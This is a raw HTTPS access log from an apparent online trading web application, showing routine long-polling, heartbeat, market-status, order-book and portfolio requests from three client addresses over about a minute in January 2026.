[09/Jan/2026:15:43:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944855841 HTTP/1.1" -
[09/Jan/2026:15:43:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:43:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:43:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:43:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:43:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944857852 HTTP/1.1" -
[09/Jan/2026:15:43:09 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944858964 HTTP/1.1" -
[09/Jan/2026:15:43:11 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944860894 HTTP/1.1" -
[09/Jan/2026:15:43:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944860889 HTTP/1.1" -
[09/Jan/2026:15:43:14 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944863988 HTTP/1.1" -
[09/Jan/2026:15:43:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944862912 HTTP/1.1" -
[09/Jan/2026:15:43:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944865912 HTTP/1.1" -
[09/Jan/2026:15:43:17 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944866883 HTTP/1.1" -
[09/Jan/2026:15:43:19 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944869036 HTTP/1.1" -
[09/Jan/2026:15:43:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944868063 HTTP/1.1" -
[09/Jan/2026:15:43:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944870956 HTTP/1.1" -
[09/Jan/2026:15:43:22 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944872892 HTTP/1.1" -
[09/Jan/2026:15:43:24 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944874163 HTTP/1.1" -
[09/Jan/2026:15:43:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944873210 HTTP/1.1" -
[09/Jan/2026:15:43:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944875992 HTTP/1.1" -
[09/Jan/2026:15:43:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:43:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:43:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:43:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:43:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:43:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:43:29 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944878894 HTTP/1.1" -
[09/Jan/2026:15:43:29 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944879198 HTTP/1.1" -
[09/Jan/2026:15:43:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944878357 HTTP/1.1" -
[09/Jan/2026:15:43:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944881034 HTTP/1.1" -
[09/Jan/2026:15:43:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:43:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:43:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944884222 HTTP/1.1" -
[09/Jan/2026:15:43:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944883426 HTTP/1.1" -
[09/Jan/2026:15:43:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944884880 HTTP/1.1" -
[09/Jan/2026:15:43:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:43:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1380
[09/Jan/2026:15:43:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:43:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944886070 HTTP/1.1" -
[09/Jan/2026:15:43:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:43:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:43:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:43:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:43:39 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944889261 HTTP/1.1" -
[09/Jan/2026:15:43:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944888616 HTTP/1.1" -
[09/Jan/2026:15:43:40 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944890884 HTTP/1.1" -
[09/Jan/2026:15:43:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944891111 HTTP/1.1" -
[09/Jan/2026:15:43:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:43:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:43:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1871
[09/Jan/2026:15:43:44 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944894297 HTTP/1.1" -
[09/Jan/2026:15:43:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944893689 HTTP/1.1" -
[09/Jan/2026:15:43:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:43:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:43:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1380
[09/Jan/2026:15:43:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944896132 HTTP/1.1" -
[09/Jan/2026:15:43:46 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944896884 HTTP/1.1" -
[09/Jan/2026:15:43:49 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944899326 HTTP/1.1" -
[09/Jan/2026:15:43:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944898832 HTTP/1.1" -
[09/Jan/2026:15:43:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944901159 HTTP/1.1" -
[09/Jan/2026:15:43:52 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944902880 HTTP/1.1" -
[09/Jan/2026:15:43:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944904364 HTTP/1.1" -
[09/Jan/2026:15:43:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944903970 HTTP/1.1" -
[09/Jan/2026:15:43:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:43:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:43:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:43:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:43:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944906199 HTTP/1.1" -
[09/Jan/2026:15:43:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:43:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:43:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:43:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:43:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:43:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:43:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944908892 HTTP/1.1" -
[09/Jan/2026:15:43:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944909393 HTTP/1.1" -
[09/Jan/2026:15:44:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944909115 HTTP/1.1" -
[09/Jan/2026:15:44:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944911226 HTTP/1.1" -
[09/Jan/2026:15:44:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:44:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:44:04 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944914430 HTTP/1.1" -
[09/Jan/2026:15:44:04 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944914890 HTTP/1.1" -
[09/Jan/2026:15:44:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944914205 HTTP/1.1" -
[09/Jan/2026:15:44:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944916248 HTTP/1.1" -
[09/Jan/2026:15:44:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:44:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:44:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:44:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:44:09 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944919476 HTTP/1.1" -
[09/Jan/2026:15:44:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944919358 HTTP/1.1" -
[09/Jan/2026:15:44:10 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944920880 HTTP/1.1" -
[09/Jan/2026:15:44:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944921291 HTTP/1.1" -
[09/Jan/2026:15:44:14 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944924528 HTTP/1.1" -
[09/Jan/2026:15:44:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944924454 HTTP/1.1" -
[09/Jan/2026:15:44:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944926313 HTTP/1.1" -
